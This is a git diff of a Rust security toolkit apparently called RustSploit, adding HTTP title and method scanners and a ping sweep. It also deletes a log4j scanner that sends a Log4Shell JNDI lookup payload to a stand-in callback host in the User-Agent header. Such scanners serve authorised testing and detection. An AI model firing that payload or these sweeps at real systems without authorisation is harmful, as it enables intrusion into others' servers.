fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════════╗
|
||||
║ HTTP METHOD CAPABILITY SCANNER ║
|
||||
║ Checks support for common verbs ║
|
||||
╚══════════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
}
|
||||
|
||||
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
let mut targets = Vec::new();
|
||||
let trimmed = initial_target.trim();
|
||||
if !trimmed.is_empty() && trimmed != "http_method_scanner" {
|
||||
targets.extend(split_targets(trimmed));
|
||||
}
|
||||
targets
|
||||
}
|
||||
|
||||
fn split_targets(input: &str) -> Vec<String> {
|
||||
input
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let data = fs::read_to_string(path)
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
Ok(split_targets(&data))
|
||||
}
|
||||
|
||||
fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String> {
|
||||
let mut unique = HashSet::new();
|
||||
let mut normalized = Vec::new();
|
||||
|
||||
for raw in targets {
|
||||
let target = raw.trim();
|
||||
if target.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let formatted = if target.starts_with("http://")
|
||||
|| target.starts_with("https://")
|
||||
|| target.contains("://")
|
||||
{
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("{}://{}", default_scheme, target)
|
||||
};
|
||||
if unique.insert(formatted.clone()) {
|
||||
normalized.push(formatted);
|
||||
}
|
||||
}
|
||||
|
||||
normalized
|
||||
}
|
||||
|
||||
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
let mut expanded = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
|
||||
for target in targets {
|
||||
if let Ok(url) = Url::parse(target) {
|
||||
for port in ports {
|
||||
let mut candidate = url.clone();
|
||||
if candidate.set_port(Some(*port)).is_ok() {
|
||||
let final_url = candidate.to_string();
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for port in ports {
|
||||
let final_url = format!("{}:{}", target, port);
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
expanded
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(&format!("{}", message))?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" | "true" => Ok(true),
|
||||
"n" | "no" | "false" => Ok(false),
|
||||
_ => {
|
||||
println!("[!] Invalid input, using default ({})", default_text);
|
||||
Ok(default)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(input)
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_ports() -> Result<Vec<u16>> {
|
||||
let input = prompt(
|
||||
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
|
||||
)?;
|
||||
if input.is_empty() {
|
||||
println!("[!] No ports provided; skipping port tunneling.");
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let mut ports = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
|
||||
let trimmed = part.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match trimmed.parse::<u16>() {
|
||||
Ok(port) => {
|
||||
if seen.insert(port) {
|
||||
ports.push(port);
|
||||
}
|
||||
}
|
||||
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
|
||||
}
|
||||
}
|
||||
|
||||
if ports.is_empty() {
|
||||
println!("[!] No valid ports parsed; skipping port tunneling.");
|
||||
}
|
||||
|
||||
Ok(ports)
|
||||
}
|
||||
|
||||
fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
|
||||
let mut lines = Vec::new();
|
||||
lines.push("HTTP Method Scanner Report".to_string());
|
||||
lines.push(format!("Generated at: {}", Utc::now()));
|
||||
lines.push(String::new());
|
||||
|
||||
for target in results {
|
||||
lines.push(format!("Target: {}", target.target));
|
||||
for method in &target.results {
|
||||
if let Some(status) = method.status {
|
||||
lines.push(format!(
|
||||
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
|
||||
method.method,
|
||||
status.as_u16(),
|
||||
method.ok,
|
||||
method.duration_ms
|
||||
));
|
||||
} else if let Some(ref error) = method.error {
|
||||
lines.push(format!(
|
||||
" - {:<7} error: {} time: {} ms",
|
||||
method.method,
|
||||
error,
|
||||
method.duration_ms
|
||||
));
|
||||
}
|
||||
}
|
||||
lines.push(String::new());
|
||||
}
|
||||
|
||||
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
|
||||
}
|
||||
@@ -1,33 +1,373 @@
|
||||
use anyhow::{Result, Context};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use regex::Regex;
|
||||
use reqwest::Client;
|
||||
use reqwest::{Client, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut targets = collect_initial_targets(initial_target);
|
||||
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
|
||||
if !additional.is_empty() {
|
||||
targets.extend(split_targets(&additional));
|
||||
}
|
||||
|
||||
let file_path = prompt("Path to file with targets (optional): ")?;
|
||||
if !file_path.is_empty() {
|
||||
let file_targets = load_targets_from_file(&file_path)?;
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
|
||||
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
|
||||
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
|
||||
|
||||
if !check_http && !check_https {
|
||||
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
)?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
let timeout_secs = prompt_timeout()?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
|
||||
let mut normalized = normalize_targets(targets, check_http, check_https);
|
||||
if !ports.is_empty() {
|
||||
let expanded = expand_targets_with_ports(&normalized, &ports);
|
||||
if expanded.is_empty() {
|
||||
println!("[!] No valid port combinations derived; continuing without port tunneling.");
|
||||
} else {
|
||||
normalized = expanded;
|
||||
}
|
||||
}
|
||||
if normalized.is_empty() {
|
||||
return Err(anyhow!("No valid targets provided"));
|
||||
}
|
||||
normalized.sort();
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.user_agent("RustSploit-HTTP-Title-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
|
||||
for scheme in ["http", "https"] {
|
||||
let url = format!("{}://{}", scheme, target);
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
if let Some(cap) = title_re.captures(&text) {
|
||||
println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
|
||||
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
|
||||
let mut all_results = Vec::new();
|
||||
|
||||
for url in &normalized {
|
||||
match fetch_title(&client, url, &title_re).await {
|
||||
Ok(result) => {
|
||||
if let Some(title) = &result.title {
|
||||
println!("[+] {} -> {}" , url, title);
|
||||
} else if let Some(status) = result.status {
|
||||
println!("[+] {} -> <no title> (status: {})", url, status);
|
||||
} else {
|
||||
println!("[+] {} -> <no title>", url);
|
||||
}
|
||||
if verbose {
|
||||
if let Some(status) = result.status {
|
||||
println!(" Status: {}", status);
|
||||
}
|
||||
println!(" Duration: {} ms", result.duration_ms);
|
||||
}
|
||||
all_results.push(result);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[-] Failed {}: {}", url, e);
|
||||
Err(err) => {
|
||||
println!("[-] {} -> error: {}", url, err);
|
||||
all_results.push(TitleResult {
|
||||
url: url.clone(),
|
||||
status: None,
|
||||
title: None,
|
||||
error: Some(err.to_string()),
|
||||
duration_ms: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_title_scan_{}.txt",
|
||||
Utc::now().format("%Y%m%d_%H%M%S")
|
||||
);
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
)?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
}
|
||||
|
||||
println!("\n[*] Scan complete.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
struct TitleResult {
|
||||
url: String,
|
||||
status: Option<StatusCode>,
|
||||
title: Option<String>,
|
||||
error: Option<String>,
|
||||
duration_ms: u128,
|
||||
}
|
||||
|
||||
impl TitleResult {
|
||||
fn display_title(&self) -> String {
|
||||
match (&self.title, &self.error) {
|
||||
(Some(title), _) => title.clone(),
|
||||
(None, Some(err)) => format!("error: {}", err),
|
||||
(None, None) => "<no title>".to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result<TitleResult> {
|
||||
let start = std::time::Instant::now();
|
||||
let response = client.get(url).send().await.context("Request failed")?;
|
||||
let status = response.status();
|
||||
let text = response.text().await.unwrap_or_default();
|
||||
let title = title_re
|
||||
.captures(&text)
|
||||
.and_then(|cap| cap.get(1))
|
||||
.map(|m| sanitize_title(m.as_str()));
|
||||
let duration = start.elapsed().as_millis();
|
||||
|
||||
Ok(TitleResult {
|
||||
url: url.to_string(),
|
||||
status: Some(status),
|
||||
title,
|
||||
error: None,
|
||||
duration_ms: duration,
|
||||
})
|
||||
}
|
||||
|
||||
fn sanitize_title(raw: &str) -> String {
|
||||
raw
|
||||
.lines()
|
||||
.map(|line| line.trim())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
.join(" ")
|
||||
.chars()
|
||||
.take(200)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
let mut targets = Vec::new();
|
||||
let trimmed = initial_target.trim();
|
||||
if !trimmed.is_empty() && trimmed != "http_title_scanner" {
|
||||
targets.extend(split_targets(trimmed));
|
||||
}
|
||||
targets
|
||||
}
|
||||
|
||||
fn split_targets(input: &str) -> Vec<String> {
|
||||
input
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let data = fs::read_to_string(path)
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
Ok(split_targets(&data))
|
||||
}
|
||||
|
||||
fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool) -> Vec<String> {
|
||||
let mut unique = HashSet::new();
|
||||
let mut normalized = Vec::new();
|
||||
|
||||
for raw in targets {
|
||||
let target = raw.trim();
|
||||
if target.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
if target.starts_with("http://") || target.starts_with("https://") {
|
||||
if unique.insert(target.to_string()) {
|
||||
normalized.push(target.to_string());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if check_https {
|
||||
let https = format!("https://{}", target);
|
||||
if unique.insert(https.clone()) {
|
||||
normalized.push(https);
|
||||
}
|
||||
}
|
||||
|
||||
if check_http {
|
||||
let http = format!("http://{}", target);
|
||||
if unique.insert(http.clone()) {
|
||||
normalized.push(http);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
normalized
|
||||
}
|
||||
|
||||
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
let mut expanded = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
|
||||
for target in targets {
|
||||
if let Ok(url) = Url::parse(target) {
|
||||
for port in ports {
|
||||
let mut candidate = url.clone();
|
||||
if candidate.set_port(Some(*port)).is_ok() {
|
||||
let final_url = candidate.to_string();
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for port in ports {
|
||||
let final_url = format!("{}:{}", target, port);
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
expanded
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" | "true" => Ok(true),
|
||||
"n" | "no" | "false" => Ok(false),
|
||||
_ => {
|
||||
println!("[!] Invalid input, using default ({})", default_text);
|
||||
Ok(default)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(input)
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_timeout() -> Result<u64> {
|
||||
let input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
if input.is_empty() {
|
||||
return Ok(10);
|
||||
}
|
||||
match input.parse::<u64>() {
|
||||
Ok(val) if val > 0 => Ok(val),
|
||||
_ => {
|
||||
println!("[!] Invalid timeout, using default (10s)");
|
||||
Ok(10)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_ports() -> Result<Vec<u16>> {
|
||||
let input = prompt(
|
||||
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
|
||||
)?;
|
||||
if input.is_empty() {
|
||||
println!("[!] No ports provided; skipping port tunneling.");
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let mut ports = Vec::new();
|
||||
let mut seen = HashSet::new();
|
||||
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
|
||||
let trimmed = part.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match trimmed.parse::<u16>() {
|
||||
Ok(port) => {
|
||||
if seen.insert(port) {
|
||||
ports.push(port);
|
||||
}
|
||||
}
|
||||
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
|
||||
}
|
||||
}
|
||||
|
||||
if ports.is_empty() {
|
||||
println!("[!] No valid ports parsed; skipping port tunneling.");
|
||||
}
|
||||
|
||||
Ok(ports)
|
||||
}
|
||||
|
||||
fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
|
||||
let mut lines = Vec::new();
|
||||
lines.push("HTTP Title Scanner Report".to_string());
|
||||
lines.push(format!("Generated at: {}", Utc::now()));
|
||||
lines.push(String::new());
|
||||
|
||||
for result in results {
|
||||
let status_text = result
|
||||
.status
|
||||
.map(|s| s.as_u16().to_string())
|
||||
.unwrap_or_else(|| "n/a".to_string());
|
||||
lines.push(format!(
|
||||
"{} | status: {:<5} | title: {}",
|
||||
result.url,
|
||||
status_text,
|
||||
result.display_title()
|
||||
));
|
||||
if result.duration_ms > 0 {
|
||||
lines.push(format!(" duration: {} ms", result.duration_ms));
|
||||
}
|
||||
}
|
||||
|
||||
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════╗
|
||||
║ HTTP TITLE SCANNER (RustSploit) ║
|
||||
║ Enumerate page titles over HTTP/HTTPS endpoints ║
|
||||
╚══════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,44 +0,0 @@
|
||||
use anyhow::{Result, Context};
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(_target: &str) -> Result<()> {
|
||||
print!("Enter URL or host to scan: ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let host = input.trim();
|
||||
|
||||
let client = Client::builder()
|
||||
.redirect(reqwest::redirect::Policy::limited(3))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let token: u32 = rand::thread_rng().gen();
|
||||
let payload = format!("${{jndi:ldap://{:x}.example.com/a}}", token);
|
||||
|
||||
for scheme in ["http", "https"] {
|
||||
let url = if host.starts_with("http") {
|
||||
host.to_string()
|
||||
} else {
|
||||
format!("{}://{}", scheme, host)
|
||||
};
|
||||
match client.get(&url).header("User-Agent", &payload).send().await {
|
||||
Ok(resp) => {
|
||||
println!("[+] {} -> status {}", url, resp.status());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[-] Failed {}: {}", url, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Payload sent. Check your callback server for any connections to confirm vulnerability.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -4,5 +4,5 @@ pub mod port_scanner;
|
||||
pub mod stalkroute_full_traceroute;
|
||||
pub mod http_title_scanner;
|
||||
pub mod ping_sweep;
|
||||
pub mod log4j_scanner;
|
||||
pub mod heartbleed_scanner;
|
||||
pub mod http_method_scanner;
|
||||
pub mod dns_recursion;
|
||||
|
||||
@@ -1,47 +1,606 @@
|
||||
use anyhow::{Result, Context};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ipnet::IpNet;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::io::{self, Write};
|
||||
use tokio::{process::Command, sync::Semaphore, time::{timeout, Duration}};
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{self, BufRead, BufReader, Write},
|
||||
net::{IpAddr, SocketAddr},
|
||||
sync::{
|
||||
atomic::{AtomicUsize, Ordering},
|
||||
Arc,
|
||||
},
|
||||
};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
#[derive(Clone, Debug)]
|
||||
struct PingConfig {
|
||||
targets: Vec<IpNet>,
|
||||
methods: Vec<PingMethod>,
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
pub async fn run_interactive(_target: &str) -> Result<()> {
|
||||
print!("Enter CIDR range to sweep: ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let net: IpNet = input.trim().parse().context("Use CIDR notation like 192.168.1.0/24")?;
|
||||
let hosts: Vec<IpAddr> = net.hosts().collect();
|
||||
let semaphore = Arc::new(Semaphore::new(50));
|
||||
let mut tasks = Vec::new();
|
||||
#[derive(Clone, Debug)]
|
||||
enum PingMethod {
|
||||
Icmp,
|
||||
Tcp { ports: Vec<u16> },
|
||||
}
|
||||
|
||||
impl PingMethod {
|
||||
fn describe(&self) -> String {
|
||||
match self {
|
||||
PingMethod::Icmp => "ICMP".to_string(),
|
||||
PingMethod::Tcp { ports } => {
|
||||
if ports.len() == 1 {
|
||||
format!("TCP/{}", ports[0])
|
||||
} else {
|
||||
format!(
|
||||
"TCP [{}]",
|
||||
ports
|
||||
.iter()
|
||||
.map(u16::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn label(&self) -> &'static str {
|
||||
match self {
|
||||
PingMethod::Icmp => "ICMP",
|
||||
PingMethod::Tcp { .. } => "TCP",
|
||||
}
|
||||
}
|
||||
|
||||
async fn probe(&self, ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
|
||||
match self {
|
||||
PingMethod::Icmp => icmp_probe(ip, timeout).await,
|
||||
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point triggered via the dispatcher
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
let config = gather_configuration(initial_target)?;
|
||||
execute_ping_sweep(&config).await
|
||||
}
|
||||
|
||||
fn parse_target(input: &str) -> Result<IpNet> {
|
||||
if let Ok(net) = input.parse::<IpNet>() {
|
||||
return Ok(net);
|
||||
}
|
||||
|
||||
if let Ok(ip) = input.parse::<IpAddr>() {
|
||||
let prefix = match ip {
|
||||
IpAddr::V4(_) => 32,
|
||||
IpAddr::V6(_) => 128,
|
||||
};
|
||||
let cidr = format!("{}/{}", ip, prefix);
|
||||
let net = cidr
|
||||
.parse::<IpNet>()
|
||||
.context("failed to convert host to /32 or /128 network")?;
|
||||
return Ok(net);
|
||||
}
|
||||
|
||||
Err(anyhow!("Invalid target '{}'. Use IP or IP/CIDR.", input))
|
||||
}
|
||||
|
||||
fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
println!("{}", "=== Ping Sweep Configuration ===".bold());
|
||||
|
||||
let mut nets: Vec<IpNet> = Vec::new();
|
||||
|
||||
let initial_trimmed = initial.trim();
|
||||
if !initial_trimmed.is_empty() {
|
||||
match parse_target(initial_trimmed) {
|
||||
Ok(net) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Loaded initial target {}", net).green()
|
||||
);
|
||||
nets.push(net);
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(" Initial target '{}' skipped: {}", initial_trimmed, e)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Add additional targets manually?", false)? {
|
||||
loop {
|
||||
let entry = prompt_line(
|
||||
"Enter target (IP or CIDR, leave blank to stop): ",
|
||||
true,
|
||||
)?;
|
||||
if entry.is_empty() {
|
||||
break;
|
||||
}
|
||||
match parse_target(&entry) {
|
||||
Ok(net) => {
|
||||
println!("{}", format!(" + {}", net).cyan());
|
||||
nets.push(net);
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!(" ! {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let path = prompt_line("Path to file: ", false)?;
|
||||
let file_targets = load_targets_from_file(&path)?;
|
||||
if file_targets.is_empty() {
|
||||
println!("{}", " No targets parsed from file.".yellow());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Loaded {} targets from '{}'",
|
||||
file_targets.len(),
|
||||
path
|
||||
)
|
||||
.green()
|
||||
);
|
||||
nets.extend(file_targets);
|
||||
}
|
||||
}
|
||||
|
||||
if nets.is_empty() {
|
||||
return Err(anyhow!(
|
||||
"No valid targets supplied. Provide at least one IP or subnet."
|
||||
));
|
||||
}
|
||||
|
||||
// Deduplicate targets
|
||||
let mut unique: HashSet<IpNet> = HashSet::new();
|
||||
for net in nets {
|
||||
unique.insert(net);
|
||||
}
|
||||
let targets: Vec<IpNet> = unique.into_iter().collect();
|
||||
|
||||
let timeout_secs =
|
||||
prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?;
|
||||
let concurrency =
|
||||
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
|
||||
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
|
||||
|
||||
let methods = loop {
|
||||
let mut methods = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? {
|
||||
methods.push(PingMethod::Icmp);
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use TCP connect probes?", false)? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports (comma separated)", default_ports)?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
} else {
|
||||
methods.push(PingMethod::Tcp { ports });
|
||||
}
|
||||
}
|
||||
|
||||
if methods.is_empty() {
|
||||
println!("{}", "Select at least one method.".red().bold());
|
||||
continue;
|
||||
}
|
||||
break methods;
|
||||
};
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[*] Targets: {} | Methods: {} | Concurrency: {} | Timeout: {}s",
|
||||
targets.len(),
|
||||
methods_summary(&methods),
|
||||
concurrency,
|
||||
timeout_secs
|
||||
)
|
||||
.bold()
|
||||
);
|
||||
|
||||
Ok(PingConfig {
|
||||
targets,
|
||||
methods,
|
||||
concurrency,
|
||||
timeout_secs,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<IpNet>> {
|
||||
let file = File::open(path)
|
||||
.with_context(|| format!("Failed to open target file '{}'", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut nets = Vec::new();
|
||||
|
||||
for (idx, line) in reader.lines().enumerate() {
|
||||
let line = line?;
|
||||
let mut content = line.split('#').next().unwrap_or("").trim().to_string();
|
||||
if content.is_empty() {
|
||||
continue;
|
||||
}
|
||||
content = content.replace(',', " ");
|
||||
for token in content.split_whitespace() {
|
||||
match parse_target(token) {
|
||||
Ok(net) => nets.push(net),
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(" [file:{}] skipped '{}': {}", idx + 1, token, e)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(nets)
|
||||
}
|
||||
|
||||
fn methods_summary(methods: &[PingMethod]) -> String {
|
||||
methods
|
||||
.iter()
|
||||
.map(PingMethod::describe)
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ")
|
||||
}
|
||||
|
||||
async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
let mut host_set: HashSet<IpAddr> = HashSet::new();
|
||||
for net in &config.targets {
|
||||
for host in net.hosts() {
|
||||
host_set.insert(host);
|
||||
}
|
||||
}
|
||||
|
||||
if host_set.is_empty() {
|
||||
println!("{}", "No host addresses derived from supplied targets.".yellow());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut hosts: Vec<IpAddr> = host_set.into_iter().collect();
|
||||
hosts.sort();
|
||||
|
||||
let total_hosts = hosts.len();
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[*] Beginning sweep of {} hosts using {} method(s)...",
|
||||
total_hosts,
|
||||
config.methods.len()
|
||||
)
|
||||
.bold()
|
||||
);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.concurrency));
|
||||
let methods = Arc::new(config.methods.clone());
|
||||
let timeout = Duration::from_secs(config.timeout_secs.max(1));
|
||||
let verbose = config.verbose;
|
||||
let success_counter = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let processed_counter = Arc::new(AtomicUsize::new(0));
|
||||
let start_time = std::time::Instant::now();
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in hosts {
|
||||
let sem = semaphore.clone();
|
||||
let ip_str = ip.to_string();
|
||||
let methods_clone = methods.clone();
|
||||
let success_clone = success_counter.clone();
|
||||
let processed_clone = processed_counter.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire_owned().await.unwrap();
|
||||
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
|
||||
let result = timeout(
|
